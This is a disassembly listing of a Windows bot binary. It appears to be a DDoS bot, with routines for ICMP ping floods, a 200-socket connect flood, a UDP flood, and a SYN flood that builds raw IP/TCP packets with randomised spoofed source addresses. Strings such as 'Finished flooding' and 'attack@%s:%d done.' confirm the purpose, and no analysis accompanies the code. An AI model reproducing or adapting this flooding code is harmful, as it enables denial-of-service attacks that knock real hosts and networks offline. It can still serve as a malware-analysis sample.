; ---------------------------------------------------------------------------
		add	esp, 4


loc_426708:				; CODE XREF: sub_4266F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4266F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426720	proc near		; CODE XREF: sub_402090j
		jmp	sub_4014C4
sub_426720	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426740	proc near		; CODE XREF: sub_401A41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_40182F
		add	esp, 10h
		test	eax, eax
		jz	short loc_426804
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42681E
; ---------------------------------------------------------------------------


loc_426804:				; CODE XREF: sub_426740+9Aj
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42681E:				; CODE XREF: sub_426740+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_426740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4268C0	proc near		; CODE XREF: sub_401E7Ej

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_4368E0
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	near ptr 28608D9h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_42692A
		mov	edi, dword_50F8A0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_50E110, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_50E114, eax
		call	edi
		mov	ecx, dword_50E110
		mov	dword_50E10C, eax
		test	ecx, ecx
		jz	short loc_42692A
		mov	edx, dword_50E114
		test	edx, edx
		jz	short loc_42692A
		test	eax, eax
		jz	short loc_42692A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426935


loc_42692A:				; CODE XREF: sub_4268C0+1Bj
					; sub_4268C0+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426935:				; CODE XREF: sub_4268C0+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_42694C
		mov	[esp+24h+arg_FFE8], eax


loc_42694C:				; CODE XREF: sub_4268C0+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_42695F
		mov	ebp, 1


loc_42695F:				; CODE XREF: sub_4268C0+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_4269A4


loc_426970:				; CODE XREF: sub_4268C0+E2j
		mov	al, byte_4D64B9
		test	al, al
		jz	short loc_4269A4
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_50E10C	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_426970


loc_4269A4:				; CODE XREF: sub_4268C0+AEj
					; sub_4268C0+B7j
		push	edi
		call	dword_50E114	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_4268C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A00	proc near		; CODE XREF: sub_40182Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E7E
		add	esp, 14h
		retn
sub_426A00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A40	proc near		; CODE XREF: sub_401BC7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426A40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0FC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426A40	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426AB0:				; CODE XREF: ___:00401A19j
					; ___:loc_401AAFj
		push	esi
		mov	esi, ecx
		call	sub_4017FD
		test	byte ptr [esp+8], 1
		jz	short loc_426AC8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426AC8:				; CODE XREF: ___:00426ABDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426AE0	proc near		; CODE XREF: sub_4017FDj
		jmp	sub_4014C4
sub_426AE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B00	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426B00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E5D8F
		mov	[esp+2Ch+var_28], eax


loc_426B26:				; CODE XREF: sub_426B00+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426B37
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E66EF
		jl	short loc_426B26


loc_426B37:				; CODE XREF: sub_426B00+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426CE9
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E5D1Bh[eax*8]
		call	sub_4017E4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		call	near ptr 71AB2B66h
		nop
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426BA0
		mov	dword ptr [ebp+68h], 5


loc_426BA0:				; CODE XREF: sub_426B00+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_50E11C
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_50E31C
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 281068Fh
		test	eax, eax
		mov	dword_50E320, eax
		jz	short loc_426C3B
		push	offset dword_446F34
		push	5
		push	eax
		push	0
		push	offset dword_50E11C
		call	sub_4013E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426C6B
; ---------------------------------------------------------------------------


loc_426C3B:				; CODE XREF: sub_426B00+11Dj
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_426C6B:				; CODE XREF: sub_426B00+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_401424
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_426CE9:				; CODE XREF: sub_426B00+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426B00	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426D80	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E5D1Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426E16
		push	ebp
		call	near ptr 71AB4FD4h
		nop
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_426E0F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_426E0F:				; CODE XREF: sub_426D80+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_426E16:				; CODE XREF: sub_426D80+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_426EC6
		mov	ebx, dword_50FC30


loc_426E35:				; CODE XREF: sub_426D80+140j
		mov	al, byte_4D64B9
		test	al, al
		jz	loc_426EC6
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E4B:				; CODE XREF: sub_426D80+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_426E6B
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_426E6B:				; CODE XREF: sub_426D80+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_426E4B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E7A:				; CODE XREF: sub_426D80+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_426E7A
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 28C1E38h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426EA3:				; CODE XREF: sub_426D80+130j
		mov	edx, [esi]
		push	edx
		call	near ptr 71AB9639h
		nop
		add	esi, 4
		dec	edi
		jnz	short loc_426EA3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_426E35


loc_426EC6:				; CODE XREF: sub_426D80+A9j
					; sub_426D80+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_426D80	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F50	proc near		; CODE XREF: sub_401DD9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426F50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E10C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426FC0	proc near		; CODE XREF: ___:004016DBj sub_40181Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_426FD8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426FD8:				; CODE XREF: sub_426FC0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426FC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426FF0	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014C4
sub_426FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427010	proc near		; CODE XREF: sub_401E92j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401DB6
sub_427010	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427180	proc near		; CODE XREF: sub_401BB3j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021A3
sub_427180	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_427211
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427211:				; CODE XREF: ___:004271F1j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		call	near ptr 71AB8769h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_427244
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_427244:				; CODE XREF: ___:00427235j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427267


loc_42725A:				; CODE XREF: ___:0042740Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_427267:				; CODE XREF: ___:00427258j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_50FC2C
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 2870914h
		mov	[esp+48h], eax
		mov	al, byte_4D64B9
		test	al, al
		jz	loc_4274BB
		mov	ebx, dword_50FABC
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_427305
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_427305:				; CODE XREF: ___:00427301j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A28
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A28
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42725A
		nop
		call	near ptr 2870914h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_4274B7
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_427459
		push	2710h
		push	3E8h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427459:				; CODE XREF: ___:0042743Ej
		push	0FFh
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 49A98FE8h, 0B9A09002h, 84004D64h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4274B7:				; CODE XREF: ___:00427436j
		mov	edi, [esp+18h]


loc_4274BB:				; CODE XREF: ___:004272EBj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4275C0	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40187F
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_4275E1
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_4275E1:				; CODE XREF: sub_4275C0+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BB3
sub_4275C0	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427630	proc near		; CODE XREF: sub_401785j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427630
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E11C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427630	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4276A0	proc near		; CODE XREF: ___:004014ECj sub_40222Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_4276B8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4276B8:				; CODE XREF: sub_4276A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4276A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
